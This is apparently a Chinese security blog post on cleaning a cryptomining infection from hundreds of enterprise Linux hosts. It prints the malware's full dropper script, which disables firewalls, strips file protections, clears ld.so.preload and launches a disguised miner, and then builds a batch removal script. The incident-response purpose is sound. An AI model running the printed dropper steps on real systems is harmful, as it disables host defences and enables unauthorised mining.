企业挖矿病毒处置实战——专杀脚本从0到1

VSole2024-02-01 10:03:02

前期排查


根据态势感知日志,发现主机外联挖矿地址89.147.109.125,但是查看外联进程发现进程对应文件已被删除。



这里使用一个小技巧 可以将内存中的进程信息保存出来。



在进程中过滤kworker2关键字,发现存在异常脚本文件执行,并且在/bin目录下存在异常文件nuBrWiVa



对脚本文件进行分析

#!/bin/bash
# 删除当前用户的 crontab 任务
crontab -r 2>/dev/null
# 禁用 Uncomplicated Firewall
ufw disable 2>/dev/null
# 设置 iptables 防火墙规则,允许所有入站、出站和转发的流量,清空 iptables 规则
iptables -P INPUT ACCEPT 2>/dev/null
iptables -P OUTPUT ACCEPT 2>/dev/null
iptables -P FORWARD ACCEPT 2>/dev/null
iptables -F 2>/dev/null
# 移除系统文件的不可修改属性
chattr -i /usr/sbin/ >/dev/null 2>&1
chattr -i /usr/bin/ >/dev/null 2>&1
chattr -i /bin/ >/dev/null 2>&1
chattr -i /usr/lib >/dev/null 2>&1
chattr -i /usr/lib64 >/dev/null 2>&1
chattr -i /usr/libexec >/dev/null 2>&1
chattr -i /etc/ >/dev/null 2>&1
chattr -i /tmp/ >/dev/null 2>&1
chattr -i /sbin/
chattr -i /etc/resolv.conf
chattr -i /etc/cron.d/systeml >/dev/null 2>&1
chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1
chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1
chattr -i /etc/cron.daily/systeml >/dev/null 2>&1
chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1
# 移除 ld.so.preload 文件的不可修改属性并清空文件内容
chattr -ia /etc/ld.so.preload 2>/dev/null
cat /dev/null > /etc/ld.so.preload 2>/dev/null
# 通过检查是否存在包含以前文件名的文件,生成或读取两个随机的文件名,并将它们保存在 
if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then
read -r file1 < "/usr/lib/systemd/previous_filenames1"
read -r file2 < "/usr/lib/systemd/previous_filenames2"
else
file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
echo "$file1" > "/usr/lib/systemd/previous_filenames1"
echo "$file2" > "/usr/lib/systemd/previous_filenames2"
fi
mv x86_64 "$file1" 2>/dev/null
mv i386 "$file2" 2>/dev/null
# 设置变量
SERVICE="kworker2:0H"
EXEC="kworker2:0H"
DIR="/tmp"
# 移除某些文件的不可修改、不可删除、不可设置属性
chattr -iaus /etc/cron.*/$EXEC /etc/init.d/$EXEC 2>/dev/null
# Check if the process is running
if P=$(pgrep -F /bin/.locked) >> /dev/null; then
echo "Running" && exit
else
echo "Not running"
echo -n > /bin/.locked
# Copy the files to the temporary directory
cp "$file1" "$DIR/$EXEC" 2>/dev/null
cp "$file2" "$DIR/neo" 2>/dev/null
chmod +x "$DIR/$EXEC" 2>/dev/null
chmod +x "$DIR/neo" 2>/dev/null
"$DIR/$EXEC" --tls >/dev/null 2>&1
rm -rf "$DIR/$EXEC"
fi
sleep 2
# Check if the process is running and update the lock file
if P1=$(pgrep "$EXEC") 2>/dev/null; then
echo $P1 > /bin/.locked 2>/dev/null
fi
# Execute the command using the value stored in the lock file
"$DIR/neo" "$(cat /bin/.locked)" 2>/dev/null
/bin/nuBrWiVa


上面的脚本可以知道,会生成固定的文件,这个三个文件的文件名是固定的,其中/bin/.locked文件内容为进程的pid信息


  • /usr/lib/systemd/previous_filenames1
  • /usr/lib/systemd/previous_filenames2
  • /bin/.locked



因为进程中执行的恶意脚本文件对计划任务文件有进行操作,因此查看计划任务文件发现,存在恶意计划任务,定期执行恶意文件/bin/nuBrWiVa



在跟进排查/bin/nuBrWiVa对应的服务信息



后面对劫持,启动项账号进行了排查没有发现其他异常,则开始进行处置。


专杀脚本编写


处置单个主机十分简单:停止服务、删除计划任务、结束进程、删除恶意文件即可,但是面对内网近千台主机,绝对不可能一台一台手动处置,因此需要些脚本统一下发处置


后面便是本次应急处置的重点,如何写专杀脚本进行批量处置


总结病毒特点


1、外联矿池地址进程:kworker2:0H

2、执行恶意脚本进程:/bin/随机字符

3、恶意服务:随机字符.service

4、恶意计划任务:/etc/cron.d/随机字符、/etc/cron.daily/随机字符、/etc/cron.weekly/随机字符、/etc/cron.hourly/随机字符、/etc/cron.monthly/随机字符

5、固定文件:/bin/.locked、/usr/lib/systemd/previous_filenames1、/usr/lib/systenetmd/previous_filenames2

6、随机生成的文件:/bin/随机字符(x86_64)、/bin/随机字符(I386)


在这些特点中,最大的问题是,大量的恶意文件都是随机字符文件名,后面便开始梳理随机字符文件的关联性。


梳理特点关联性


1、根据/bin/.locked文件中的内容,可以确定外联进程的PID

2、根据计划任务的文件内容确定执行恶意脚本的进程;

3、根据恶意脚本进程,确定恶意的服务名称


分块编写代码


首先确认外联进程PID,在脚本中加了解挂载的操作,避免进程挂载无法根据PID进行定位。


if [ -e /bin/.locked ]; then
p=$(cat /bin/.locked)
read -ra PID <<< "$p"

for pid_value in "${PID[@]}"; do
echo "[-] Processing PID: $pid_value"

# 执行umount操作
umount -l /proc/$pid_value

# 查找并杀死与PID相关的进程(如果需要的话)
a=$(ps -ef | grep $pid_value | grep "kworker2:0H")
if [ -n "$a" ]; then
kill -9 $pid_value
echo "[+] Evil process with PID $pid_value killed"
fi
done
else
echo "[+] Nothging"
fi


查找恶意计划任务


-r:匹配文件内容

-l:对应文件名称

root /bin/.*1 1:恶意计划任务特征点,由于中间文件名称为随机字符,因此使用.*进行正则匹配

evil_cron=($(grep -r -l "root /bin/.*1 1" /etc/cron.*))
for value in "${evil_cron[@]}"; do
echo "[+] evil_cron: $value"
rm -rf $value
echo "[+] evil_cron:$value 已删除"
done


查找恶意服务,定位恶意服务这里分了3步(重要是的第二步,恶心了我很久)


第一步:通过计划任务获得执行恶意脚本的进行名process_name


第二部:过滤process_name定位进程pid,但是这里有坑,因为grep过滤的时候会输出自己的grep进程,因此这里需要加入grep -v 'grep /bin'把自己的grep进程过滤掉(这里使用awk命令帮助定位到这个关键字的),才能得到恶意进程的pid


第三部:根据进程恶意进程pid,找到服务名称,并stop和disable


process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}'))
echo "[+] process_name: $process_name"
mv "$process_name" /tmp/evil_1112
server_pid=($(ps -ef | grep $process_name | grep -v 'grep /bin' | awk '{print $2}'))
for value in "${server_pid[@]}"; do
echo "[+] server_pid: $value"
done
server_name=($(systemctl status $value | grep "Loaded:" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))
for value in "${server_name[@]}"; do
echo "[+] server_name: $server_name"
break
done
systemctl stop $server_name
systemctl disable $server_name
server_path=/usr/lib/systemd/system/
rm -rf $server_path$server_name
echo "server deleted"


删除固定文件,这里比较简单,就是找指定路径文件,然后获取文件内容,根据文件内容,找到对应文件,在进行删除就行



file_path1="/usr/lib/systemd/previous_filenames1"
if [ -e "$file_path1" ]; then
file_content=$(cat "$file_path1")
echo "File $file_path1 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112
else
echo "File $file_path1 does not exist."
fi
file_path2="/usr/lib/systemd/previous_filenames2"
if [ -e "$file_path2" ]; then
file_content=$(cat "$file_path2")
echo "File $file_path2 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112
else
echo "File $file_path1 does not exist."
fi


整合代码


这里需要注意,因为定位服务是根据计划任务中的文件内容进行定位的,因此查找服务的执行顺序,必须在查找计划任务前面,否则服务无法定位


#! /bin/bash
hostname
if [ ! -d "/tmp/evil_1112" ]; then
mkdir /tmp/evil_1112
fi
#查找特征文件并备份
file_path1="/usr/lib/systemd/previous_filenames1"
if [ -e "$file_path1" ]; then
file_content=$(cat "$file_path1")
echo "[+] File $file_path1 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112 2>/dev/null
else
echo "[+] File $file_path1 does not exist."
fi
file_path2="/usr/lib/systemd/previous_filenames2"
if [ -e "$file_path2" ]; then
file_content=$(cat "$file_path2")
echo "File $file_path2 exists, and its content is: $file_content"
mv "$file_content" /tmp/evil_1112 2>/dev/null
else
echo "File $file_path1 does not exist."
fi
#查找服务并停止
process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}' | uniq))
if [ -z "$process_name" ]; then
echo "[+] process name is not exist"
else
echo "[+] process_name: $process_name"
mv "$process_name" /tmp/evil_1112
fi
evil_process=$(ps -ef | grep -E " /bin/\w+{8}" | awk '{print $8}' | uniq)
if [ -z "$evil_process" ]; then
echo "[+] evil process is not running"
else
if [[ "$evil_process" == "$process_name" ]]; then 
echo "[+] evil process $evil_process is running"
server_pid=($(ps -ef | grep $process_name | grep -v 'color' | awk '{print $2}'))
for value in "${server_pid[@]}"; do
echo "[+] evil server_pid: $value"
done
server_name=($(systemctl status $value | grep "Loaded: loaded" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))
for value in "${server_name[@]}"; do
echo "[+] evil server_name: $server_name"
break
done
systemctl stop $server_name
systemctl disable $server_name
server_path=/usr/lib/systemd/system/
rm -rf $server_path$server_name
echo "[+] evil server deleted"
else 
echo "[+] evil process is not running"
fi
fi

#查找计划任务并删除
evil_cron=($(grep -r -l "root /bin/.*1 1" /etc/cron.*))
for value in "${evil_cron[@]}"; do
echo "[+] evil cron: $value"
rm -rf $value
echo "[+] evil cron:$value deleted"
done

#查找外联进程并kill
if [ -e /bin/.locked ]; then
p=$(cat /bin/.locked)
read -ra PID <<< "$p"

for pid_value in "${PID[@]}"; do
echo "[-] Processing PID: $pid_value"

# 执行umount操作
umount -l /proc/$pid_value 2>/dev/null

# 查找并杀死与PID相关的进程(如果需要的话)
a=$(ps -ef | grep $pid_value | grep "kworker2")
if [ -n "$a" ]; then
kill -9 $pid_value
echo "[+] Evil process with PID $pid_value killed"
fi
done
else
echo "[+] Nothging"
fi


最后通过堡垒机批量下发,成功处置700多台机器


greplib文件
本作品采用《CC 协议》,转载必须注明作者和本文链接
mysql提权总结
2021-09-17 15:04:08
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。
CVE-2020-9054是由于可执行文件weblogin.cgi在身份验证期间未正确过滤username参数造成的。
file=2663◆测试环境:Ubuntu 18.04根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。这里应该是一个POST请求提交数据。在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。
常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器被入侵挖矿的事情也能落到自己头上。
1Docker 迁移存储目录默认情况系统会将 Docker 容器存放在 /var/lib/docker 目录下[问题起因]?今天通过监控系统,发现公司其中一台服务器的磁盘快慢,随即上去看了下,发现?由上述原因,我们都知道,在?中存储的都是相关于容器的存储,所以也不能随便的将其删除掉。设备进行扩容来达到相同的目的。的详细参数,请点击查看?但是需要注意的一点就是,尽量不要用软链, 因为一些?容器编排系统不支持这样做,比如我们所熟知的?发现容器启动不了了
由于低权限用户无法执行太多操作,可以利用反弹上传Churrasco.exe,后续可以利用它来做提权。输入net user指令查看是否添加成功,最后提权成功。linux系统提权思路linux基础信息收集uname -a 显示全部系统信息cat /etc/issue 内核信息。
根据挖矿病毒行为特征,编写专杀脚本,批量处置内网700多台服务器
今天实践的是vulnhub的Presidential镜像,下载地址,https://download.vul
Systemctl 介绍Systemctl是一个systemd工具,主要负责控制systemd系统和服务管理器。Systemd的功能是用于集中管理和配置类UNIX系统。在Linux生态系统中,Systemd被部署到了大多数的标准Linux发行版中,只有为数不多的几个发行版尚未部署。Systemd通常是所有其它守护进程的父进程,但并非总是如此。开始Systemd和Systemctl 基础工具之旅01、首先检查系统上是否安装了systemd以及当前安装的Systemd的版本是什么?
本文记录从零开始搭建F5 BIG-IP漏洞调试环境的细节。
VSole
网络安全专家